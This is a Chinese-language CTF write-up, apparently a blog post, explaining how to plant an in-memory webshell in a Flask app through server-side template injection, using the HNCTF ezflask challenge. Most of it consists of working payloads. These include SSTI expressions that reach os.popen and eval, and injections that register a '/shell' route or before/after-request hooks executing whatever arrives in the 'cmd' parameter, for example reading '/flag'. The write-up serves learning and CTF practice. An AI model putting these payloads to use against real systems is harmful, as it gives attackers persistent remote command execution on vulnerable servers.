python内存马分析
python内存马分析
前言
最近那场HNCTF有一道只能执行一次的Flask模板注入,这个预期解是用python内存马,这篇就来学习一下,做一下笔记。
原理
Python
常见的框架有Django
、Flask
,这两个都可能存在SSTI
注入,Python 内存马
就是利用Flask
的SSTI
注入来实现。
flask route
flask
常规注册的方式为使用装饰器@app.route()
,而实际工作的函数为装饰器里调用的self.add_url_rule()
self.app_url_rule(rule,endpoint=None,view_func=None)
- rule: 就是url,和装饰器
app.route()
的第一个参数一样,必须以/
开始 - endpoint: 就是在使用url_for()进行反转的时候,这个里面传入的第一个参数就是这个endpoint对应的值。这个值也可以不指定,默认值为函数名。
- view_func: 只需要写方法名(也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。
这个可以用来添加路由
flask context
想实现webshell
关键在于view_func
。view_func
可以采用匿名函数定义逻辑,该方法要实现捕获参数值、执行命令、响应。
来说一下这个flask的工作原理:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个栈_request_ctx_stack
的结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack
的栈顶元素_request_ctx_stack.top
flask 内置函数
对于ssti
不熟悉的师傅可以看看我的另一篇文章—>https://ctf.d3ic1de.club/posts/da44154f.html
通过{{}}
我们可以执行表达式,但是命名空间是受限的,没有builtins
,所以eval、popen
这些操作时不能使用的。但我们可以通过任意一个函数的func_globals
而得到他们的命名空间而得到builtins
Flask
内置了两个函数url_for
和get_flashed_messages
也就是说想构造命令执行的话,就可以用:
1 | {{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
那么内存马也就可以构造出来了
1 | url_for.__globals__['__builtins__']['eval']( "app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
这里注册了一个/shell
的路由,路由对应的逻辑为执行cmd
参数值命令
漏洞环境
这里我就直接用HNCTF的这道ezflask
,官方WP这给了题目源码
1 | from flask import Flask, request, abort, render_template_string , config |
payload
创建/shell
路由,将/flag
的内容读取出来显示,直接访问就能获得flag
1 | cmd=app.add_url_rule('/shell','shell',lambda:__import__('os').popen('cat /flag').read()) |
访问/shell
,get
方法传入参数cmd
执行任意命令/shell?cmd=cat /flag
1 | cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}") |
官方给的另两个payload
同时get
传参cmd
执行任意命令/Adventure?cmd=cat /flag
1 | cmd=str(app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)) |
app.after_request_funcs.setdefault(None, [])
: 这是在Flask应用中设置一个默认的后处理函数列表,如果after_request_funcs
字典中还没有None
这个键,就设置一个空列表。然后把后面的这个resp
函数添加到列表里。这个函数先检查是否存在名为cmd
的查询参数,存在的话就再从请求的查询参数中获取cmd
的值,然后用os.popen
执行命令并获取输出。然后使用exec
执行这段获取的命令的输出,将其作为python
代码执行,如果exec
执行后返回None
,说明命令执行成功且没有返回数据,那么返回CmdResp
否则返回原始的resp
主要就是在Flask应用接收到包含cmd
参数的请求时,尝试执行该参数指定的命令,并在命令执行成功且没有输出时替换响应。如果没有cmd
参数或者命令执行失败,将返回原始的响应。
同时get
传参cmd
执行任意命令/Adventure?cmd=cat /flag
1 | cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read()) |
这个跟上面这个差不多,主要也是用这个lambda :__import__('os').popen(request.args.get('cmd')).read()
这个就没上面这么复杂,直接执行它导入os
模块,然后使用os.popen
执行命令,获取命令的输出。
这个会在每个请求(包括GET和POST等)开始前执行cmd
参数指定的命令。